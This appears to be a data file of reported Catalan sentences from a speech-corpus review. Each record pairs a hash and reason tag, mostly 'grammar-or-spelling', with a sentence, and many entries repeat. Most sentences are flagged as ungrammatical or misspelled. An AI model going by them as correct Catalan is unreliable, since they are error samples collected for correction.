61d284f594d6449a48d4249352c5d1e95ef9dc6152081d1a6a950322cadd58f7 ca grammar-or-spelling Utilitzada pels boiximans San per enverinar llurs sagetes de caça. 62686a761831fa89f376fb41c877968f7f89e3d76a7e6bae1ab9ee2537e7591b ca grammar-or-spelling Destaca que en l'Estatut valencià, en l'art. 625d04e6eb89eec3a0077f1967af39431410cd494d74cf15dbc95ee5665180fc ca grammar-or-spelling Amb la descentralitzada abastant els nivells més baixos per la presa decisions. 61c501b67673fdb9cc34fc2760b0a13407aea1d7e27e91babdc92a526ffd4811 ca grammar-or-spelling És una arma comuna en les arts marcials subcontinent. 61d284f594d6449a48d4249352c5d1e95ef9dc6152081d1a6a950322cadd58f7 ca grammar-or-spelling L'ocupació i urbanització són escasses hagut de sobretot al seu difícil accés. 6215e3b0ea0e7fce8b3362ccb86a173eb78f103e16b5038c652ce35a6a435ff1 ca grammar-or-spelling La figura femenina mostra una rica vestimenta, que denota la pertinença un nivell social elevat. 62be1b912b980ea5557acd58bc0e17f7c871d6e0d60d26a04f3313d262a326b0 ca grammar-or-spelling És una arma comuna en les arts marcials subcontinent. 61d284f594d6449a48d4249352c5d1e95ef9dc6152081d1a6a950322cadd58f7 ca grammar-or-spelling El solar on es construí està en un cantó amb fort condicionants geomètrics. 62ceea8dd4688b69b2a951d3d628699fd6b8f4df122daa469c48f57138f63b66 ca grammar-or-spelling Destaca que en l'Estatut valencià, en l'art. 625d04e6eb89eec3a0077f1967af39431410cd494d74cf15dbc95ee5665180fc ca grammar-or-spelling Utilitzada pels boiximans San per enverinar llurs sagetes de caça. 62686a761831fa89f376fb41c877968f7f89e3d76a7e6bae1ab9ee2537e7591b ca grammar-or-spelling Utilitzada pels boiximans San per enverinar llurs sagetes de caça. 62686a761831fa89f376fb41c877968f7f89e3d76a7e6bae1ab9ee2537e7591b ca grammar-or-spelling Aquesta tenia els recursos per produir un disseny que funciones. 63023b9b83d9a1df7d6f73f955bf4ba73aa0d0be50cb5c8a4f2e3d71e2f91225 ca grammar-or-spelling Aquestes substàncies solen ser molt dures degudes als enllaços covalents formats en les tres dimensions. 62ce900f88cf5d227ee3582019e94660605e769245fa18724950fd852d786604 ca grammar-or-spelling El solar on es construí està en un cantó amb fort condicionants geomètrics. 62ceea8dd4688b69b2a951d3d628699fd6b8f4df122daa469c48f57138f63b66 ca grammar-or-spelling Aquesta tenia els recursos per produir un disseny que funciones. 63023b9b83d9a1df7d6f73f955bf4ba73aa0d0be50cb5c8a4f2e3d71e2f91225 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling La ciutat és envoltada pel Municipi Rural de Humboldt No. 62bdcd605d0650a63b6f757bab0d5c146d83ec02c36049988a731b35e26144f2 ca grammar-or-spelling Diversos científics van desenvolupar aquestes idees, per veure que serien capaços d’aconseguir. 635ee89c62fd4609fc6618d570d5570ef301d4e903d3b4e20037457c74480505 ca grammar-or-spelling Aquesta tenia els recursos per produir un disseny que funciones. 63023b9b83d9a1df7d6f73f955bf4ba73aa0d0be50cb5c8a4f2e3d71e2f91225 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Altres tipus de pous potencials s'inclouen els pous potencials elèctrics i magnètics. 624ff4c853374c7d4680d096de9c4fc2b8579f0832d12e9a167915794d490b00 ca grammar-or-spelling La ciutat és envoltada pel Municipi Rural de Humboldt No. 62bdcd605d0650a63b6f757bab0d5c146d83ec02c36049988a731b35e26144f2 ca grammar-or-spelling La quadriga de la part superior ha estat fosa per Martin Wagner. 631187572ff3a1a064c01fc02b1ea1f181ac78193dcd4d90b5438da24af41fe2 ca grammar-or-spelling El matrimoni només va durar dos anys, i no van tindre descendència. 6383ff452b4b4ca561a5ebb2e4a6c8e9ec7c23d0eaf1c88a62093a5d4e679615 ca grammar-or-spelling Els pollets, amb molta precocitat, abandona el niu aviat. 62e7bc24226a370a2cb4d27e6c447aeaa21a5bfb454d614a8663600313e0df10 ca grammar-or-spelling Alguns experts han descrit tem sobre tirotejos escolars com a tipus de pànic moral. 6394b48d18ea089be86259f3c8f3b0f080733cbf1405339cdcc19c43cedb364b ca grammar-or-spelling El primer edifici romànic fou substituït al per l'actual barroc. 6319b47c41583a5d184204306c60ef67e63c4a47cdee6eefd5707b91a74c9501 ca grammar-or-spelling Aquesta tenia els recursos per produir un disseny que funciones. 63023b9b83d9a1df7d6f73f955bf4ba73aa0d0be50cb5c8a4f2e3d71e2f91225 ca grammar-or-spelling Aquest pla va ajudar que s'obrís a Europa una etapa de prosperitat econòmica i enteniment. 621cf72f8684184be41844445c9fcab6f75df466aa9b6304d7c7b9fe479c120d ca grammar-or-spelling Van tenir una única filla, Gloria. 63874e37ec64280e86c824ecbd222bf11eee3f3898e0f935aec795855aa6ca8b ca grammar-or-spelling La línia exacta es deixava per determinat per inspectors més tard. 63cbf26dc100fa08bbf0373fe23349278695beb98c3ac324be6a3503f68f9e01 ca grammar-or-spelling Van tenir una única filla, Gloria. 63874e37ec64280e86c824ecbd222bf11eee3f3898e0f935aec795855aa6ca8b ca grammar-or-spelling Alguns experts han descrit tem sobre tirotejos escolars com a tipus de pànic moral. 6394b48d18ea089be86259f3c8f3b0f080733cbf1405339cdcc19c43cedb364b ca grammar-or-spelling Per tant, es va decidir començar a treballar para Saturn. 63f494f54892f912c0b9bb477987911e298d50694010e4d800bd7ba38bde8cab ca grammar-or-spelling Alguns experts han descrit tem sobre tirotejos escolars com a tipus de pànic moral. 6394b48d18ea089be86259f3c8f3b0f080733cbf1405339cdcc19c43cedb364b ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Un equip d'investigadors de la Universitat Harvard ha estudiat les conseqüències d'aquesta política. 63f93d7015a512136fefc7187b057dacde7c6f0d7a4cebb6a7d1dee73f35c075 ca grammar-or-spelling És una pols cristal·lina molt estable, blanc, inodor, gairebé neutre, lleugerament soluble en aigua. 641c66934f5dccf3280b6719e394215c3362904891001761918a6b5373e5c5d2 ca grammar-or-spelling També compongué ballables i música sacra. 642095615fae574a6c6523121fbd239504b98fd9e50c082ab8664fea91c8b4a6 ca grammar-or-spelling Parla Maltès, anglès, francès i àrab. 640eb8e63d4922d908f33d644c4944bb62084556666929cd2a9d08bdafd9ff5c ca grammar-or-spelling Aquesta aliança va posar a Guillem en condicions de plantar cara al seu germà. 64202949d8413445eb78289c1f6cada3648b562db0e4a2e824d15bb702edd0e0 ca grammar-or-spelling Les pizzes solen servir-se en unes caixes de pizza de Cartó. 640f62219859e48aea068b85509a8dda4e102ea13f519c8d9fe0e648ff137b89 ca grammar-or-spelling Va ser ministre de finances de Grècia i Primer Ministre dels Hel·lens en sis ocasions. 64037d79d4293f1297799a73fc63054de622f9aa5d2192f699d149e675b93fd9 ca grammar-or-spelling Els brots són ovoides, arrodonides a l'àpex i puberulentes. 6435b61f6e808a39e5f15251e2b78fa63f5c3f1a174ead90a651bf23ba4feabe ca grammar-or-spelling També va ser seleccionadors espanyol júnior. 648601de35a7213f9e8781e61f72a26783afa2e12fc0a6b2b4ce3393ace61a5b ca grammar-or-spelling Epifani cita un fragment que aferma és de l'evangeli narrat pels dotze apòstols. 64c8209d9655eb1d25b72257c7d01c32ae3bada28d6233378db7c724ab7b34df ca grammar-or-spelling Així, denúncia les irregularitats en la investigació dels fets. 64bdea06b3aedbf122f35fd0c0c025fb04c6458d6a98509b533c7bfe4e1480ce ca grammar-or-spelling Epifani cita un fragment que aferma és de l'evangeli narrat pels dotze apòstols. 64c8209d9655eb1d25b72257c7d01c32ae3bada28d6233378db7c724ab7b34df ca grammar-or-spelling Fe seguida va destacar per la seva ment brillant. 64c84ecc4bc627f0d459f7aac293750a9218ea1c0af6f2ac1b0316e70c939460 ca grammar-or-spelling Les cases conservades moltes han estat recuperades i reformades, tot mantenint elements estructurals originals. 64ea9001d03399b02a70841a6e33ee5a948e32b330ac8475cc3c1c31c3557126 ca grammar-or-spelling També va ser seleccionadors espanyol júnior. 648601de35a7213f9e8781e61f72a26783afa2e12fc0a6b2b4ce3393ace61a5b ca grammar-or-spelling Fou el nom donat al Marroc al govern des del temps dels sadites. 64ea7cba5c19c20e1bae82808d5ff1471c699013dedac4e27d4ed4140d66b13f ca grammar-or-spelling Epifani cita un fragment que aferma és de l'evangeli narrat pels dotze apòstols. 64c8209d9655eb1d25b72257c7d01c32ae3bada28d6233378db7c724ab7b34df ca grammar-or-spelling Els atletes que queden en primera, segona i posició de cada esdeveniment reben medalles. 64fc85ae867db4e7eedfaf8521f2fed5dca9aa7a94ad172748ad76fd8365ebd1 ca grammar-or-spelling Ella ocupa el lloc de dissenyadora de pàgines internet en una empresa d'informàtica. 64f6a82e81e32432f3ec4b23a25e7169aa031162781c4c76855d197b63cc2c35 ca grammar-or-spelling Ells van desenvolupar una sèrie d'aplicacions diferents i amb el conjunt realitzaven amb freqüència. 64acf38df1a7725e5d9fdf9c4adfb055f609d2df7f9c4d1f5532b664dfb7d104 ca grammar-or-spelling Ells van desenvolupar una sèrie d'aplicacions diferents i amb el conjunt realitzaven amb freqüència. 64acf38df1a7725e5d9fdf9c4adfb055f609d2df7f9c4d1f5532b664dfb7d104 ca grammar-or-spelling Epifani cita un fragment que aferma és de l'evangeli narrat pels dotze apòstols. 64c8209d9655eb1d25b72257c7d01c32ae3bada28d6233378db7c724ab7b34df ca grammar-or-spelling Les unitats familiars es conceben com independents econòmicament i política. 654175fd59d91c80e3394a850590777de90e171eeea2833487f43ded9d515b16 ca grammar-or-spelling Els atletes que queden en primera, segona i posició de cada esdeveniment reben medalles. 64fc85ae867db4e7eedfaf8521f2fed5dca9aa7a94ad172748ad76fd8365ebd1 ca grammar-or-spelling Ells van desenvolupar una sèrie d'aplicacions diferents i amb el conjunt realitzaven amb freqüència. 64acf38df1a7725e5d9fdf9c4adfb055f609d2df7f9c4d1f5532b664dfb7d104 ca grammar-or-spelling Francesc Camps resultar elegit President de la Generalitat Valenciana. 654a73221a42a7c5f7b2e955720cf7c5c16aa1c8aa02c641112f3244355d1453 ca grammar-or-spelling Ells van desenvolupar una sèrie d'aplicacions diferents i amb el conjunt realitzaven amb freqüència. 64acf38df1a7725e5d9fdf9c4adfb055f609d2df7f9c4d1f5532b664dfb7d104 ca grammar-or-spelling La norantena d'espècies conegudes es distribueixen al Vell Non Euràsia i Àfrica. 658cc89871ba6c6d1495704d7285e18227e133a5df0f3f6ea6e5f3af64bd6677 ca grammar-or-spelling Ells van desenvolupar una sèrie d'aplicacions diferents i amb el conjunt realitzaven amb freqüència. 64acf38df1a7725e5d9fdf9c4adfb055f609d2df7f9c4d1f5532b664dfb7d104 ca grammar-or-spelling Des de petit, el jove Jordi demostrar notables dots per a l'humor i la improvisació. 6520114dd7875628e466a96e43fae2601be4f13b00ec2bc40997e9c9b216bb5e ca grammar-or-spelling Durant la seva presidència es va crear la Lliga catalana femenina. 6651a4603c5cad76ec7bcd31164871e3bcbf1e24075678b1bd1298fc0e46bddf ca El micròfon no funciona pas Els atletes que queden en primera, segona i posició de cada esdeveniment reben medalles. 64fc85ae867db4e7eedfaf8521f2fed5dca9aa7a94ad172748ad76fd8365ebd1 ca grammar-or-spelling Solen tindre un catàleg centralitzat. 665a869c15e306fb957152fdd6b25cb66aa53e4436021e372dccac6ae9bf6f68 ca grammar-or-spelling Els atletes que queden en primera, segona i posició de cada esdeveniment reben medalles. 64fc85ae867db4e7eedfaf8521f2fed5dca9aa7a94ad172748ad76fd8365ebd1 ca grammar-or-spelling És un camèfit i floreix de juliola a agost. 6689fc0fc588a699b46a2273d6656c5ff3da4ac08ee72ff45dc248bb604f7c9f ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Els rebels musulmans de Yunnan van capturar o destruït quaranta ciutats i cent pobles. 66c05158063ed6d8519ef26be685bc09dc794a012995b4ea77506bb32958730c ca grammar-or-spelling Va posar especial èmfasi en les veus, i amplifica i promoure el seu ús didàctic. 666db3725329d14989d0e3ac826e642fc50486b60ed9ef96fefb187bec51880f ca grammar-or-spelling Les restes de l'altra obertura de la façana mostren que tenia composició que l'anterior. 6715843da1fb6672ed010c1e870d5a3010ab53090255301b447681abd41e4df3 ca grammar-or-spelling No assistí ningú a la cerimònia la que la pesta havia arribat a Sant Esteve. 672bcc562c468e0fc8e1257cb78f4d40e9cc89400a75247c1040273fa3a2a71b ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Les cries a continuació, procedir a l'oceà, on una varietat de depredadors marins els esperen. 672e72c89b3f8379971fd2d3e77cda052072d9113f9e35480434233329a5f4b9 ca grammar-or-spelling Aquesta rematada la façana per l'espadanya de tres arcs amb campana en un d'ells. 670038cb5d28649e1091f453337e76b0dc1ba1ad9573d1034020f4a2ecfb05f1 ca grammar-or-spelling Les restes de l'altra obertura de la façana mostren que tenia composició que l'anterior. 6715843da1fb6672ed010c1e870d5a3010ab53090255301b447681abd41e4df3 ca grammar-or-spelling Els errors sistemàtics també poden detectar mitjançant el mesurament de quantitats ja conegudes. 6741601a5171dd8b678e93333ce0697634b9ff43322c217ec2376969554cde6d ca grammar-or-spelling A més, mentre que Cap de la Casa de Borbó francesa, ha rebut quatre distincions. 674d290b54087381cf602571ab49841d346ccd673e125531d4a70011d288c58e ca grammar-or-spelling L'ordre en la frase es lliure. 677e9aba6587afd7f98c00839f2bb59ed76be8395b23075d8d20063f155117f6 ca grammar-or-spelling Les restes de l'altra obertura de la façana mostren que tenia composició que l'anterior. 6715843da1fb6672ed010c1e870d5a3010ab53090255301b447681abd41e4df3 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Les restes de l'altra obertura de la façana mostren que tenia composició que l'anterior. 6715843da1fb6672ed010c1e870d5a3010ab53090255301b447681abd41e4df3 ca grammar-or-spelling Aquesta rematada la façana per l'espadanya de tres arcs amb campana en un d'ells. 670038cb5d28649e1091f453337e76b0dc1ba1ad9573d1034020f4a2ecfb05f1 ca grammar-or-spelling El canvi en la direcció és deu de temperatures entre la terra i l'aigua. 673ead9f48f6885305fcebe39d57060384ae732b1e5cd00a64bc482628f77517 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling No assistí ningú a la cerimònia la que la pesta havia arribat a Sant Esteve. 672bcc562c468e0fc8e1257cb78f4d40e9cc89400a75247c1040273fa3a2a71b ca grammar-or-spelling Cada orde o rang tenia. 676b7e5fbcea82035c123fe1e1dec823bce793e828d2d53edec855f06d8cce0b ca grammar-or-spelling La tercera divisió a la zona aquest era controlada únicament per una divisió. 6730130fcb913abdfd74cec4e42d6ebed079d68e018052d5f580d2175b684a55 ca grammar-or-spelling Cristina es refà la processó i es puja cap a l'ermita. 677ad49ebe1cdcc880ff4699976df83128b8d064b85ba22f5e9f05579a295b18 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Aquesta rematada la façana per l'espadanya de tres arcs amb campana en un d'ells. 670038cb5d28649e1091f453337e76b0dc1ba1ad9573d1034020f4a2ecfb05f1 ca grammar-or-spelling S'havia produït novament forts combats en el context de la Guerra Civil siriana. 681505c984f180337480668a46eee29b91219cc5b2fbd8d0abfe315c7edc7c37 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling La colonització d'aquesta regió pels francesos van portar a una guerra amb els amerindis. 683ac90f16a337b807c3d1f39c67f8949a18e7a504ee9c5bf1b7c7ad1bd94e88 ca grammar-or-spelling La crítica de la tècnica presa llavors diverses formes, també artístiques. 6829166294a7fa0ab214393e656359f450e9a87e118b1542a9a897b533c02568 ca grammar-or-spelling No assistí ningú a la cerimònia la que la pesta havia arribat a Sant Esteve. 672bcc562c468e0fc8e1257cb78f4d40e9cc89400a75247c1040273fa3a2a71b ca grammar-or-spelling La tercera divisió a la zona aquest era controlada únicament per una divisió. 6730130fcb913abdfd74cec4e42d6ebed079d68e018052d5f580d2175b684a55 ca grammar-or-spelling Cristina es refà la processó i es puja cap a l'ermita. 677ad49ebe1cdcc880ff4699976df83128b8d064b85ba22f5e9f05579a295b18 ca grammar-or-spelling Jo jugo piano totes les tardes. 686222cc2998819eecfc74e4de47f662c94b839ec286c22b08c84a2e0efb2964 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Els errors sistemàtics també poden detectar mitjançant el mesurament de quantitats ja conegudes. 6741601a5171dd8b678e93333ce0697634b9ff43322c217ec2376969554cde6d ca grammar-or-spelling Inicialment moderat les seves peticions es van incrementar. 679b5785777deb3e45ccd5a859d6e64b64d1c0abc73936f91623b5a954221241 ca grammar-or-spelling Les sorres fines i orades i té bastant assistència. 686a1d10ea2e1972a3240d5715d53ad8c0b2508cabc8a8ccbbc8833fb27bc190 ca grammar-or-spelling Dedicada, per tant a Sant felip i sant Jaume. 684f1c59abe3f0568e819f30ad7500d5ccab7537a1e0e94171a4dcbad039d52f ca grammar-or-spelling Restaria reservat als romans el fet perfeccionar i estendre l'odiós sistema de les proscripcions. 687785f531b0944c39a19b3da83c377191e268ee73836638da1da8d6c7d0bb69 ca grammar-or-spelling Les cries a continuació, procedir a l'oceà, on una varietat de depredadors marins els esperen. 672e72c89b3f8379971fd2d3e77cda052072d9113f9e35480434233329a5f4b9 ca grammar-or-spelling La crítica de la tècnica presa llavors diverses formes, també artístiques. 6829166294a7fa0ab214393e656359f450e9a87e118b1542a9a897b533c02568 ca grammar-or-spelling Restaria reservat als romans el fet perfeccionar i estendre l'odiós sistema de les proscripcions. 687785f531b0944c39a19b3da83c377191e268ee73836638da1da8d6c7d0bb69 ca grammar-or-spelling Cristina es refà la processó i es puja cap a l'ermita. 677ad49ebe1cdcc880ff4699976df83128b8d064b85ba22f5e9f05579a295b18 ca grammar-or-spelling Les nevades es produeixen des dels mitjans d'octubre fins als finals de maig. 68a5e0f84bbcb5d3c67f09fb821e810c0a52cf12437157de0a82eace241af179 ca grammar-or-spelling L'edifici que va ser premiat amb un diploma Nostra de la Unió Europea. 68eda6f4d20851c3cc5d302db850ca11c729466f1dabac9b61b03a4ce4400eee ca grammar-or-spelling Les nevades es produeixen des dels mitjans d'octubre fins als finals de maig. 68a5e0f84bbcb5d3c67f09fb821e810c0a52cf12437157de0a82eace241af179 ca grammar-or-spelling Ús de l'equip d'investigació innovador sistema digital que permet classificar les peces trobades. 68ef3cac65228a2babe3fe26be68d0228485aabadd6cf22fa02e1e03e40cd9e3 ca grammar-or-spelling Les corporacions propietat de membres de les Primeres Nacions no estan exempts, però. 68c46ce7fd7599f8188e90a500c6d2a79b8884ad0a504f320fec0227e36a6a05 ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling D'on prové aqueix guany extra? 68e4ff5165aea76e899a5ff47da10b8c6ae8da836e44641b415749fe71d416d5 ca grammar-or-spelling L'edifici que va ser premiat amb un diploma Nostra de la Unió Europea. 68eda6f4d20851c3cc5d302db850ca11c729466f1dabac9b61b03a4ce4400eee ca grammar-or-spelling Aquests prerequisits permeten controlar els perills generals gràcies al control condicions higièniques i de treball. 690845789b15c9c9190b890a76f912d8ed329568baf219a143db38daff1dab9b ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling El foc hauria estat necessari a l'hora de colonitzar l'Euràsia, més freda que pas l'Àfrica. 691333bbf6cc799f57e0122036ea7ae6fc5cedc37f08400420be0bf28bfe2296 ca grammar-or-spelling Quan el seu germà va tornar a ocupar càrrec important, va estar al seu costat. 6955057bb0e1b5877cf36d1e337d8c4062383a30b593c2f769e9df1a09eebb4a ca grammar-or-spelling Les cries a continuació, procedir a l'oceà, on una varietat de depredadors marins els esperen. 672e72c89b3f8379971fd2d3e77cda052072d9113f9e35480434233329a5f4b9 ca grammar-or-spelling L'hi agrada amagar-se sota les pedres. 69a42f4c2d9f80a1d1da9a2f889332495b17348a2138a730e1cb299fd90a5d59 ca grammar-or-spelling Ça rata pas. 695b934cc9b43dc33f5a104ba7c37bac356ba0408261ce6dd1331fc076be743d ca grammar-or-spelling Tot i això, en la seva pintura s'hi pot copsar l'alè del modernisme. 6d63c8a7db9f31d3529e28c318c5a6e4912f471e1cc9ebbfd236e0da5a562088 ca difficult-pronounce Tot i això, en la seva pintura s'hi pot copsar l'alè del modernisme. 6d63c8a7db9f31d3529e28c318c5a6e4912f471e1cc9ebbfd236e0da5a562088 ca De l'edifici original es conserven els murs de càrrega i la ubicació d'algunes obertures. 6d94061a793311a0d816752c2c41aaca8ee397a5997cfd56146934ed55a4aa5f ca difficult-pronounce De l'edifici original es conserven els murs de càrrega i la ubicació d'algunes obertures. 6d94061a793311a0d816752c2c41aaca8ee397a5997cfd56146934ed55a4aa5f ca Durant la Segona Guerra Mundial aquestes illes van ser annexades al Japó. 6d7b3c1cb8a8a95dd399fa6895a156fef4ef210350610f6e4cbd4e6a44c570af ca offensive-language Durant la Segona Guerra Mundial aquestes illes van ser annexades al Japó. 6d7b3c1cb8a8a95dd399fa6895a156fef4ef210350610f6e4cbd4e6a44c570af ca grammar-or-spelling Durant la Segona Guerra Mundial aquestes illes van ser annexades al Japó. 6d7b3c1cb8a8a95dd399fa6895a156fef4ef210350610f6e4cbd4e6a44c570af ca different-language Té una durada aproximada d’una mica més quart d'hora. 6dd644bf332874b4913cc85225e58617225579bd306fa555846a419cdacac628 ca grammar-or-spelling L'Associació va fer una amarga crítica al govern a l'exili, acusant-ho de traïció. 6dc3d1eca5f5e354a2e43bef80d773146443425722d7a16273dfc0653cc145bf ca grammar-or-spelling Actualment, l'edifici es troba molt malmès, principalment la part l'interior. 6e146fb279f45d13536cde794a0f895e542d57bd24d8fb5900f7744ed7b4e31e ca grammar-or-spelling Ivan va rebutjar i les relacions entre els dos es van refredar. 6d469db0f71ed976ca8274a9954cbe65b6d3ea48f8dc575f24462d561a36b197 ca grammar-or-spelling Avui dia la darrera data és generalment acceptat. 6e0bad0890805f70b5385d68f2bd148022c217879e998512ead8b89649f39eb1 ca grammar-or-spelling La seva tasca també es van ampliar a altres àmbits. 6e1a877b928d9584e88f4ead5924ade3bc22599e25ef41f3d9029bb555520344 ca grammar-or-spelling Actualment, l'edifici es troba molt malmès, principalment la part l'interior. 6e146fb279f45d13536cde794a0f895e542d57bd24d8fb5900f7744ed7b4e31e ca grammar-or-spelling Però també hi ha d'Europa, Austràlia i diversos països. 6d4cb4388ab6c9300cd951893afada9c958ec42122a2805893ead28ba1d72c0e ca grammar-or-spelling Gran part de les anàlisis estàndard que s'aplica a oligopoli també s'aplica a oligopsoni. 6e6b2adf86e6eac236451e579ca0e369be1f4380938416e30c42e267b9916a94 ca grammar-or-spelling Es col·loca per sobre del nivell de l'ull, i és ta gran domina l'entrada sencera. 6ea154beec9cd1c1961ad8e67420f5f4c7dae7d64c766f1e73938da3a410fbc9 ca grammar-or-spelling Gran part de les anàlisis estàndard que s'aplica a oligopoli també s'aplica a oligopsoni. 6e6b2adf86e6eac236451e579ca0e369be1f4380938416e30c42e267b9916a94 ca grammar-or-spelling No tots els cànons tenien una pel que possiblement només es reservaven als més importants. 6ed3c839398895cc0630799cb4da857285d12d2a55a7f98061e253dc05da9ff6 ca grammar-or-spelling No tots els cànons tenien una pel que possiblement només es reservaven als més importants. 6ed3c839398895cc0630799cb4da857285d12d2a55a7f98061e253dc05da9ff6 ca grammar-or-spelling Aquest són les substàncies químiques derivades de les plantes. 6f3db340a25c31a90e546bd1bdb11cac9bd225dcd18e7415e7af97fa1d418c4b ca grammar-or-spelling Roca li encantà el projecte i usà els seus contactes per trobar el finançament. 6f27a7323acd640f98f90c68c0b2f606363f1322179eb34dc379eaa609f4cae5 ca grammar-or-spelling El seu regnat està mol pobrament documentat. 6f32e73cea2f561648ddcc1fe1709ee5024764a5eac3c8b7f4933873aaab3898 ca grammar-or-spelling El fons conté uns vint mil imatges originals. 6eba7699edeae68bb675150b0bd7f0d0ba85f5332f1bc0882804de9f2013fb98 ca grammar-or-spelling Gran part de les anàlisis estàndard que s'aplica a oligopoli també s'aplica a oligopsoni. 6e6b2adf86e6eac236451e579ca0e369be1f4380938416e30c42e267b9916a94 ca grammar-or-spelling Aquesta pujada de preus estava causa de l'augment de l'activitat dels pirates de la Mediterrània. 6f654f66e971c2edb57b3ccbed1772bb2b140ad33a538e9b4efe7bca4b92dc2f ca grammar-or-spelling El fons conté uns vint mil imatges originals. 6eba7699edeae68bb675150b0bd7f0d0ba85f5332f1bc0882804de9f2013fb98 ca grammar-or-spelling Finalment, els costa-riquenys va guanyar el títol. 6f833f179052aa8d47a17b9d2ebfc274b9e34033ebb954e874249a29d59b98ec ca grammar-or-spelling L'assetjament en aquests casos inclouen xiulades, comentaris no desitjats i insults. 6f8744f4dd571152d9744d7b52632272354c9443ac9996ad907c0eeef2886a19 ca grammar-or-spelling El fons conté uns vint mil imatges originals. 6eba7699edeae68bb675150b0bd7f0d0ba85f5332f1bc0882804de9f2013fb98 ca grammar-or-spelling Aquesta pujada de preus estava causa de l'augment de l'activitat dels pirates de la Mediterrània. 6f654f66e971c2edb57b3ccbed1772bb2b140ad33a538e9b4efe7bca4b92dc2f ca grammar-or-spelling Les dents incisives són molt llargs i sòlids, així com més gruixudes que amples. 6ee3a71755463a1dc6d3d492dc7a286c7e11a638917f2df0e7486cad5929fe02 ca grammar-or-spelling Defensen la supremacia blanca i són negacionisme de l'Holocaust. 700fa9c78759126ee282f4cc55818296411be73a3296ec3b359c90c22ee6166e ca grammar-or-spelling Captura la bandera requereix un terreny de joc. 7014cbcdf5d038815e93ac3e592bd821a48f753ab5ef3e61bb87873da7b9e4b9 ca grammar-or-spelling Té l'especialitat en Neurofisiologia, Clínica i Pediatria i és Especialista Europeu en Medecina del Son. 7005d71abf8c402f9d203b1105f40911f4f3a0e39ea645822093f4b25b4a2cae ca grammar-or-spelling El retaule va ser construït al per Pere Oliva d'Urgell. 6fe8ec4e337f5e28ee128d40b8743bb9dea844234ef9144b15bb20ac35a2543f ca grammar-or-spelling Captura la bandera requereix un terreny de joc. 7014cbcdf5d038815e93ac3e592bd821a48f753ab5ef3e61bb87873da7b9e4b9 ca grammar-or-spelling S'hi ha oberta quatre finestres i s'ha arrebossat. 7073e0bc9c855c8ed7f55ae4858b7d2ddf2bdb79cfc7323ffee34ff84f9823db ca grammar-or-spelling Para ell, les contradiccions socials de Hobbes existeixen sobre una base fonamental: l'objectivitat econòmica. 70204e9c047f506069552d5037d80fe0cbc1832ef020070cbc83b20c18644218 ca grammar-or-spelling Amb les torres de suspensió grogues, l'estadi és un símbol de la ciutat Dortmund. 709b14a2003a4a5fe99509f32690af0ae04ea2504e075c2ca113539b64d49905 ca grammar-or-spelling Va passar a Mèxic, on es va casa amb Maria Isabel Muntaner Salvat. 7090230618b15f17cae6af74c3d4ba85b9bb6de866f8afca5a37cd945c6551bb ca grammar-or-spelling Captura la bandera requereix un terreny de joc. 7014cbcdf5d038815e93ac3e592bd821a48f753ab5ef3e61bb87873da7b9e4b9 ca grammar-or-spelling El retaule va ser construït al per Pere Oliva d'Urgell. 6fe8ec4e337f5e28ee128d40b8743bb9dea844234ef9144b15bb20ac35a2543f ca grammar-or-spelling La reina s'imposa per la força i obliga a la seva antany preceptor al suïcidi. 70538279806cf5c66dc80176d8f2fdf819ead778872da5fdfb382108fe71dcb7 ca grammar-or-spelling En la llinda hi ha una petita cornisa i damunt una semi circumferència. 701f88cbe3a8d95d2780a95e54c999600c366c5a555c8e2594c89bf328e79808 ca grammar-or-spelling En la llinda hi ha una petita cornisa i damunt una semi circumferència. 701f88cbe3a8d95d2780a95e54c999600c366c5a555c8e2594c89bf328e79808 ca grammar-or-spelling Età situat al centre-est del país. 711b89f943155be45af3951911db7f7e0037e2e89358cd449594f0fa759ea3ae ca grammar-or-spelling Hi havia dos altars, un de sant Miquel i l'altre dedicat santa Maria. 70b5cf33ec10c6c9bcc83ad47a14af5a003209a44ca668cabf7f179c4b197ac3 ca grammar-or-spelling La premsa li prodigà merescuts i constants elogia. 708dd1f22f35e19e98a2e93a75249c326d3ea23539f69b2996154e62440d48e8 ca grammar-or-spelling Té planta i dos piso. 71214a4c693dbd8713c720b28661211f969fdb1fb04022ea646e521f0447fbb9 ca grammar-or-spelling Els mascles són millors bussos que en les femelles. 70e967a9bf5d104e54b80d1a3e28e4f29cc3a6cc7a4322ec807d5f745445f00f ca grammar-or-spelling Età situat al centre-est del país. 711b89f943155be45af3951911db7f7e0037e2e89358cd449594f0fa759ea3ae ca grammar-or-spelling Defensen la supremacia blanca i són negacionisme de 